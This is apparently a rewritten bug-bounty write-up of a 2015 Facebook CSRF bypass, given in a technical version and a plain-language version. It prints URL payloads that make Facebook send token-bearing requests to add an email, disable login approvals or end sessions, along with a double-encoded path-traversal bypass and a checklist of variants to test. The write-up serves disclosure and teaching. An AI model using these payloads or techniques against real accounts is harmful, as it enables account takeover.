Bypass Facebook CSRF
Facebook's AsyncDialog feature generated an internal POST request to a path controlled by the show_dialog_uri parameter, automatically including the anti-CSRF token fb_dtsg. An attacker could use this to send authenticated requests to other Facebook endpoints, bypassing CSRF protection and potentially enabling account takeover.
Published on blog.darabi.me
I discovered a vulnerability in Facebook's Ads Manager flow that could be abused to bypass Facebook's CSRF protection and trigger authenticated actions on behalf of a logged-in user.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Facebook's Ads Manager included a migration flow for moving a gray account to a personal account. When a user landed on the Ads Manager home page with a show_dialog_uri parameter, the page loaded an AsyncDialog component that generated an internal POST request to the path named in that parameter. The request was made by Facebook's own front-end code, from the user's browser, and it automatically carried the anti-CSRF token fb_dtsg.
Facebook used fb_dtsg as an anti-CSRF token for many state-changing requests. For protected actions, the server expected a valid token in the request; without it, the action should normally be rejected. The question the researcher set out to answer was whether an existing Facebook feature could be abused to generate an authenticated request containing a valid fb_dtsg token while letting an attacker control where that request was sent.
The issue was a CSRF protection bypass caused by unsafe internal request construction. The impact was the ability to trigger security-sensitive authenticated actions, including account takeover scenarios. The bounty was $15,000.
Setup
The report does not describe any special accounts, roles, tools or versions. The testing used the Ads Manager migration flow reached through a URL of the form shown below. The technique relies on Facebook's own page code attaching a valid fb_dtsg token to the generated request.
Finding it
While testing an Ads Manager migration flow, Facebook redirected the researcher to a URL similar to:
https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX
The page displayed a dialog for migrating a gray account to a personal account.
During page load, Facebook generated an internal POST request to the path provided in show_dialog_uri. A simplified version of the request looked like this:
POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
account_id=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
One detail immediately stood out: account_id appeared both in the requested URL and in the POST body. The body also carried fb_dtsg, the anti-CSRF token, alongside the usual __asyncDialog, __user, __a, __dyn, __req, ttstamp and __rev fields.
Exploitation
Step 1: Confirm that the parameter name is reflected
The researcher changed the query parameter name inside show_dialog_uri:
https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX
Facebook then generated a request containing the modified parameter:
POST /ads/manage/error/graydisabled/?aaaa=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
aaaa=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
The parameter name from the URL inside show_dialog_uri was carried into both the request path and the POST body. This behaviour gave the researcher three important properties at the same time:
- A controllable relative URL inside Facebook.
- Attacker-controlled parameters in the generated request.
- A valid
fb_dtsgtoken automatically added by Facebook.
Together, these properties effectively created an authenticated request primitive that could be used to bypass CSRF protection on other Facebook endpoints.
Step 2: Point the primitive at security-sensitive actions
The researcher tested the technique against several Facebook actions. These were examples rather than an exhaustive list of reachable endpoints.
Changing account language:
/ads/manage/home/?show_dialog_uri=/ajax/settings/account/language.php?new_language=fa_IR
Adding a new email address, one of the more serious cases:
/ads/manage/home/?show_dialog_uri=/settings/email/add/submit/[email protected]
Depending on the surrounding account-recovery flow, this created an account-takeover path.
Disabling login approvals:
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/approvals.php?just_enabled_approvals=0
Logging out mobile sessions:
/ads/manage/home/?show_dialog_uri=/ajax/settings/mobile/lost_phone.php
Logging out all sessions:
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/sessions/stop_all.php
In each case the destination after show_dialog_uri= is a relative Facebook path, and the parameters after its question mark become the parameters of the generated POST, which is sent with the victim's valid fb_dtsg token. The email-add case is the one that escalates: adding an address the attacker controls, combined with the account-recovery flow, opens a path to taking over the account.
Step 3: Test Facebook's first fix
After the issue was reported, Facebook restricted show_dialog_uri so that it had to begin with:
/ads/manage/error/graydisabled/?
That prevented directly replacing the destination with an arbitrary Facebook endpoint. The researcher then tested whether the restricted path could still be escaped.
Step 4: Escape the prefix with double encoding
A straightforward path traversal attempt did not work because slash characters appearing after the question mark were URL-encoded. The bypass came from double-encoding the question mark:
%253F
During AsyncDialog processing, one decoding layer was removed. That changed how the remaining path was interpreted and allowed the request path to escape the restricted prefix. The final payload used a structure similar to:
https://www.facebook.com/ads/manage/home/?account_id&show_dialog_uri=%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2F%253F%2F..%2F..%2F..%2F..%2F..%2Fsettings%2Femail%2Fadd%2Fsubmit%2F%3Fnew_email%3Dpouya%40darabi.me
The payload starts with the required prefix, and the double-encoded %253F was the bypass: during AsyncDialog processing one decoding layer was removed, which changed how the remaining path was interpreted and let it escape the restricted prefix.
Root cause
The mistake was in how AsyncDialog processed show_dialog_uri. The value was used to build the destination of an internal POST request, and the parameters from that value were copied into the request body, without the destination being constrained to a fixed, safe target. Because the request was issued by Facebook's own page code, it automatically included the session's fb_dtsg token. The anti-CSRF defence therefore did not stop the attack: the token was present and valid, and the request looked like a legitimate one generated by the application itself.
The first fix added a prefix check on show_dialog_uri, which the double-encoded question mark got around. Double-encoding the question mark meant the value satisfied the prefix check as written, while the later single decoding pass changed how the rest of the path was interpreted, so the traversal survived. The report does not describe the exact parsing code, so the precise ordering of validation and decoding is likely as described here rather than confirmed line by line.
Impact
The technique could trigger authenticated actions on behalf of a logged-in user, with a valid fb_dtsg token attached. The examples demonstrated were changing the account language, adding a new email address, disabling login approvals, logging out mobile sessions and logging out all sessions. The email-add case, depending on the surrounding account-recovery flow, created an account-takeover path. The list of reachable endpoints was not exhaustive; these were examples of what the primitive could reach.
Fix
Facebook first restricted show_dialog_uri so that it had to begin with /ads/manage/error/graydisabled/?. After the bypass was reported, Facebook blocked the second technique as well, and the vulnerable show_dialog_uri behaviour was ultimately removed.
Variants to test
- Look for other parameters that feed an internal request builder, such as dialog, redirect or callback URIs, and check whether the parameter name and value are reflected into both the request path and the body. A positive result is a generated request whose path and body contain your chosen parameter names.
- Check whether the generated request carries an anti-CSRF token automatically. A positive result is a request to your chosen path that includes a valid token for the victim's session.
- When a prefix or allowlist check is added, try encoding tricks on the delimiter: double-encode the question mark (
%253F), the slash (%252F) or the fragment, and see whether the value passes the check but decodes differently later. A positive result is a request that leaves the restricted prefix after one decoding pass. - Try traversal segments after the allowed prefix, both raw and encoded, to see whether the path can climb out of the permitted directory. A positive result is a request path that resolves to an endpoint outside the prefix.
- Test whether the technique reaches state-changing endpoints such as email addition, security-setting changes and session termination. A positive result is a state change on the account.
Disclosure timeline
| Time | Event |
|---|---|
| March 29, 2015, 16:07 | Initial vulnerability reported. |
| March 29, 2015, 21:15 | Additional details provided. |
| March 30, 2015, 00:57 | Issue acknowledged by Facebook's security team. |
| March 30, 2015, 02:10 | Temporary fix deployed. |
| March 30, 2015, 02:52 | Fix bypass reported. |
| March 30, 2015, 03:19 | Bypass blocked. |
| March 31, 2015, 07:10 | $15,000 bounty awarded. |
What happened, in plain words
Facebook has a feature called Ads Manager, where people who buy advertising manage their campaigns. Part of that feature was a small migration flow: it helped move an old-style "gray account" (an advertising-only account that is not a normal personal profile) over to a personal account. When you opened the Ads Manager home page with a special instruction in the web address, the page popped up a dialog box for that migration.
That dialog box was not just decoration. Behind the scenes, Facebook's own page code sent a request to Facebook's servers to fetch the dialog's content. The important part is that this request was made by Facebook's own code, from your browser, while you were logged in, and it automatically carried a secret anti-forgery token called fb_dtsg.
That token exists to stop a class of attack called CSRF (cross-site request forgery). The idea of CSRF is simple: if you are logged in to a site, another website you visit can try to make your browser send a request to the first site. Because your browser attaches your login automatically, the first site might think you asked for it. The token is the defence: the site only accepts a state-changing request if it also contains a secret value that only the real site's pages know. An outside attacker's page cannot guess it.
The researcher found that the address of that internal request could be influenced by a value in the web address, show_dialog_uri. By changing that value, you could make Facebook's own code send its token-carrying request to a different Facebook endpoint of your choosing. In other words, the defence was still in place, but the attacker could borrow it: the request looked completely legitimate because Facebook itself had built it and signed it with the token.
The result was a CSRF protection bypass. The impact was that an attacker could trigger security-sensitive actions on a logged-in user's behalf, including paths that could lead to account takeover. Facebook paid a $15,000 bounty.
Background you need first
A few everyday ideas make the rest easy to follow.
- A web address with a question mark. In
https://example.com/page?name=value, everything after?is extra information sent along with the request. Eachname=valuepair is called a parameter. Think of the address as an envelope and the parameters as sticky notes on the outside: the postal service reads them, and so does the recipient. - GET and POST. A GET request is what your browser sends when you open a link; it asks for something. A POST request is what a form sends when you press submit; it sends data in a body, separate from the address. The body is like the letter inside the envelope.
- A cookie and a session. When you log in, the site gives your browser a small piece of data called a cookie. Your browser sends it back on every request to that site, which is how the site knows it is still you. That ongoing logged-in state is called a session.
- A token. A token is a secret string the site generates for your session.
fb_dtsgis Facebook's anti-CSRF token: a value that Facebook's pages include in requests that change something, so the server can tell a genuine request from a forged one. - An endpoint. An endpoint is a specific address on a server that does a specific job, like
/settings/email/add/submit/for adding an email address. Think of the site as a building and endpoints as the individual counters inside. - An API. An API is the set of endpoints and rules a site exposes so that software (including the site's own pages) can ask it to do things, without a human clicking through screens.
- A relative URL. A relative URL is a path that starts from the current site rather than naming the whole site, like
/ads/manage/home/instead ofhttps://www.facebook.com/ads/manage/home/. It is like saying "room 12 down the hall" instead of the full postal address. - URL encoding. Some characters cannot appear literally in a web address, so they are written as a percent sign plus a code.
%2Fmeans/,%3Fmeans?, and%40means@. Decoding is turning those codes back into the real characters. - Double encoding. If you encode something that is already encoded, you get double encoding.
%3F(an encoded question mark) becomes%253F, because%itself is encoded as%25. One decoding pass turns%253Fback into%3F, not into?. That difference is the heart of the bypass later on. - Path traversal. Path traversal means using
..segments in a path to climb up out of a folder. In a file system,a/b/../cmeans "go into a, then b, then back up, then into c". Web servers interpret paths the same way, which is why..can be used to escape a restricted directory.
The setup
The report does not describe any special accounts, roles, tools or software versions. The testing used the Ads Manager migration flow. The technique relies on Facebook's own page code attaching a valid fb_dtsg token to the request it generates.
Finding it
While testing an Ads Manager migration flow, Facebook redirected the researcher to a URL similar to:
https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX
Line by line:
https://www.facebook.com/ads/manage/home/is the Ads Manager home page.?account_id=XXXXpasses an account identifier.XXXXstands in for a real number.&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXXis the second parameter. Its value is itself a path on Facebook, and that path has its own?account_id=XXXXon the end. So the value is a small web address tucked inside a bigger one.
The page displayed a dialog for migrating a gray account to a personal account.
During page load, Facebook generated an internal POST request to the path provided in show_dialog_uri. A simplified version of the request looked like this:
POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
account_id=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
Line by line:
POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1is the request line. The method is POST, the path is the one that came fromshow_dialog_uri, andHTTP/1.1is the protocol version.Host: www.facebook.comsays which site the request is for. One server can host many sites, so the server needs to know which one you mean.Content-Type: application/x-www-form-urlencodedsays the body is formatted like a web form:name=valuepairs separated by&.- The blank line separates the headers from the body.
account_id=XXXXXis the first body field. Notice that the same name appeared in the address above. That is the detail that stood out.__asyncDialog=1,__user=,__a=1,__dyn=,__req=,ttstamp=,__rev=are Facebook's usual internal fields. In this simplified copy they are shown empty.fb_dtsg=is the anti-CSRF token field. In a real request it holds the session's valid token; here it is shown empty for brevity.
One detail immediately stood out: account_id appeared both in the requested URL and in the POST body. The body also carried fb_dtsg, the anti-CSRF token, alongside the usual __asyncDialog, __user, __a, __dyn, __req, ttstamp and __rev fields.
Exploitation
Step 1: Confirm that the parameter name is reflected
The researcher changed the query parameter name inside show_dialog_uri:
https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX
Line by line:
- The outer page is still the Ads Manager home page.
show_dialog_uristill points at/ads/manage/error/graydisabled/.- The inner parameter is now called
aaaainstead ofaccount_id. The name was changed on purpose, to see whether Facebook copies whatever name you supply rather than only a fixed one.
Facebook then generated a request containing the modified parameter:
POST /ads/manage/error/graydisabled/?aaaa=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
aaaa=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
Line by line:
- The request path now ends in
?aaaa=XXXX, so the name from insideshow_dialog_uriwas carried into the path. - The body's first field is now
aaaa=XXXXX, so the same name was carried into the body too. - Everything else is unchanged, including the
fb_dtsgfield.
The parameter name from the URL inside show_dialog_uri was carried into both the request path and the POST body. This behaviour gave the researcher three important properties at the same time:
- A controllable relative URL inside Facebook.
- Attacker-controlled parameters in the generated request.
- A valid
fb_dtsgtoken automatically added by Facebook.
Together, these properties effectively created an authenticated request primitive that could be used to bypass CSRF protection on other Facebook endpoints. "Primitive" here just means a basic building block: a way to make Facebook send a signed request wherever you like.
Step 2: Point the primitive at security-sensitive actions
The researcher tested the technique against several Facebook actions. These were examples rather than an exhaustive list of reachable endpoints.
Changing account language:
/ads/manage/home/?show_dialog_uri=/ajax/settings/account/language.php?new_language=fa_IR
Line by line:
- The outer page is the Ads Manager home page.
show_dialog_urinow points at/ajax/settings/account/language.php, an endpoint that changes the account language.new_language=fa_IRis the parameter that sets the language to Persian (Iran).
Adding a new email address, one of the more serious cases:
/ads/manage/home/?show_dialog_uri=/settings/email/add/submit/[email protected]
Line by line:
show_dialog_uripoints at/settings/email/add/submit/, the endpoint that adds an email address to the account.- The rest of the value supplies the email address to add. The address is redacted here.
Depending on the surrounding account-recovery flow, this created an account-takeover path. Account takeover means someone else gains control of your account; if an attacker can add an email address they control, the password-reset flow may hand them the account.
Disabling login approvals:
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/approvals.php?just_enabled_approvals=0
Line by line:
show_dialog_uripoints at/ajax/settings/security/approvals.php, the endpoint for login approvals (the extra code Facebook asks for at login).just_enabled_approvals=0is the parameter that turns the feature off.
Logging out mobile sessions:
/ads/manage/home/?show_dialog_uri=/ajax/settings/mobile/lost_phone.php
Line by line:
show_dialog_uripoints at/ajax/settings/mobile/lost_phone.php, the endpoint used when a phone is lost, which ends the mobile sessions.
Logging out all sessions:
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/sessions/stop_all.php
Line by line:
show_dialog_uripoints at/ajax/settings/security/sessions/stop_all.php, the endpoint that ends every logged-in session on the account.
In each case the destination after show_dialog_uri= is a relative Facebook path, and the parameters after its question mark become the parameters of the generated POST, which is sent with the victim's valid fb_dtsg token. The email-add case is the one that escalates: adding an address the attacker controls, combined with the account-recovery flow, opens a path to taking over the account.
Step 3: Test Facebook's first fix
After the issue was reported, Facebook restricted show_dialog_uri so that it had to begin with:
/ads/manage/error/graydisabled/?
Line by line:
- The value must now start with this exact string. Anything else is rejected.
- That prevented directly replacing the destination with an arbitrary Facebook endpoint. The researcher then tested whether the restricted path could still be escaped.
Step 4: Escape the prefix with double encoding
A straightforward path traversal attempt did not work because slash characters appearing after the question mark were URL-encoded. The bypass came from double-encoding the question mark:
%253F
Line by line:
%25is the encoded form of the percent sign%.3Ffollows it, so%253Fis the encoded form of%3F.%3Fis the encoded form of?.- So
%253Fis a question mark that has been encoded twice. One decoding pass turns it into%3F, not into?.
During AsyncDialog processing, one decoding layer was removed. That changed how the remaining path was interpreted and allowed the request path to escape the restricted prefix. The final payload used a structure similar to:
https://www.facebook.com/ads/manage/home/?account_id&show_dialog_uri=%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2F%253F%2F..%2F..%2F..%2F..%2F..%2Fsettings%2Femail%2Fadd%2Fsubmit%2F%3Fnew_email%3Dpouya%40darabi.me
Line by line:
https://www.facebook.com/ads/manage/home/is the outer page.?account_id&is a parameter with no value, followed by&.show_dialog_uri=starts the value that matters.%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2Fis/ads/manage/error/graydisabled/with every slash encoded as%2F. This satisfies the new prefix check.%253Fis the double-encoded question mark. After one decoding pass it becomes%3F, which is a question mark.%2F..repeated five times is/..repeated five times: encoded slashes followed by traversal segments that climb up out of the restricted directory.%2Fsettings%2Femail%2Fadd%2Fsubmit%2Fis/settings/email/add/submit/, the email-add endpoint.%3Fnew_email%3Dis?new_email=, the start of the parameters for that endpoint.pouya%40darabi.meis the email address with@encoded as%40. The address is redacted here.
The payload starts with the required prefix, and the double-encoded %253F was the bypass: during AsyncDialog processing one decoding layer was removed, which changed how the remaining path was interpreted and let it escape the restricted prefix.
Root cause
The mistake was in how AsyncDialog processed show_dialog_uri. The value was used to build the destination of an internal POST request, and the parameters from that value were copied into the request body, without the destination being constrained to a fixed, safe target. Because the request was issued by Facebook's own page code, it automatically included the session's fb_dtsg token. The anti-CSRF defence therefore did not stop the attack: the token was present and valid, and the request looked like a legitimate one generated by the application itself.
The first fix added a prefix check on show_dialog_uri, which the double-encoded question mark got around. Double-encoding the question mark meant the value satisfied the prefix check as written, while the later single decoding pass changed how the rest of the path was interpreted, so the traversal survived. The report does not describe the exact parsing code, so the precise ordering of validation and decoding is likely as described here rather than confirmed line by line.
Impact
The technique could trigger authenticated actions on behalf of a logged-in user, with a valid fb_dtsg token attached. The examples demonstrated were changing the account language, adding a new email address, disabling login approvals, logging out mobile sessions and logging out all sessions. The email-add case, depending on the surrounding account-recovery flow, created an account-takeover path. The list of reachable endpoints was not exhaustive; these were examples of what the primitive could reach.
Fix
Facebook first restricted show_dialog_uri so that it had to begin with /ads/manage/error/graydisabled/?. After the bypass was reported, Facebook blocked the second technique as well, and the vulnerable show_dialog_uri behaviour was ultimately removed.
Variants to test
- Look for other parameters that feed an internal request builder, such as dialog, redirect or callback URIs, and check whether the parameter name and value are reflected into both the request path and the body. A positive result is a generated request whose path and body contain your chosen parameter names.
- Check whether the generated request carries an anti-CSRF token automatically. A positive result is a request to your chosen path that includes a valid token for the victim's session.
- When a prefix or allowlist check is added, try encoding tricks on the delimiter: double-encode the question mark (
%253F), the slash (%252F) or the fragment, and see whether the value passes the check but decodes differently later. A positive result is a request that leaves the restricted prefix after one decoding pass. - Try traversal segments after the allowed prefix, both raw and encoded, to see whether the path can climb out of the permitted directory. A positive result is a request path that resolves to an endpoint outside the prefix.
- Test whether the technique reaches state-changing endpoints such as email addition, security-setting changes and session termination. A positive result is a state change on the account.
Disclosure timeline
| Time | Event |
|---|---|
| March 29, 2015, 16:07 | Initial vulnerability reported. |
| March 29, 2015, 21:15 | Additional details provided. |
| March 30, 2015, 00:57 | Issue acknowledged by Facebook's security team. |
| March 30, 2015, 02:10 | Temporary fix deployed. |
| March 30, 2015, 02:52 | Fix bypass reported. |
| March 30, 2015, 03:19 | Bypass blocked. |
| March 31, 2015, 07:10 | $15,000 bounty awarded. |
Glossary
- Account takeover: a situation where an attacker gains control of someone else's account.
- Allowlist: a list of values that are explicitly permitted; anything not on the list is refused.
- Anti-CSRF token: a secret value a site puts into requests that change something, so it can tell a genuine request from a forged one. Facebook's is called
fb_dtsg. - API: the set of endpoints and rules a site exposes so that software can ask it to do things.
- AsyncDialog: the Facebook front-end component that loaded the migration dialog and built the internal request.
- Body: the part of a request that carries data, separate from the address.
- Cookie: a small piece of data a site gives your browser so it can recognise you on later requests.
- CSRF (cross-site request forgery): an attack where another site tries to make your logged-in browser send a request to a site you are logged in to.
- CSRF protection bypass: getting around the defence that is supposed to stop CSRF.
- Decoding: turning encoded characters such as
%3Fback into the real character, here?. - Double encoding: encoding something that is already encoded, so one decoding pass does not reveal the real character.
- Endpoint: a specific address on a server that does a specific job.
fb_dtsg: Facebook's anti-CSRF token.- GET: a request that asks for something, usually sent when you open a link.
- Gray account: an advertising-only Facebook account that is not a normal personal profile.
- Host header: the header that says which site a request is for.
- Parameter: a
name=valuepair attached to a web address or sent in a request body. - Path traversal: using
..segments in a path to climb up out of a folder or restricted directory. - POST: a request that sends data in a body, usually sent when you submit a form.
- Primitive: a basic building block, here a way to make Facebook send a signed request to a chosen path.
- Relative URL: a path that starts from the current site rather than naming the whole site.
- Session: the ongoing logged-in state a site keeps for you, usually tied to a cookie.
show_dialog_uri: the parameter whose value told AsyncDialog which path to send its internal request to.- Token: a secret string a site generates for your session.
- URL encoding: writing characters that cannot appear literally in a web address as a percent sign plus a code, such as
%2Ffor/.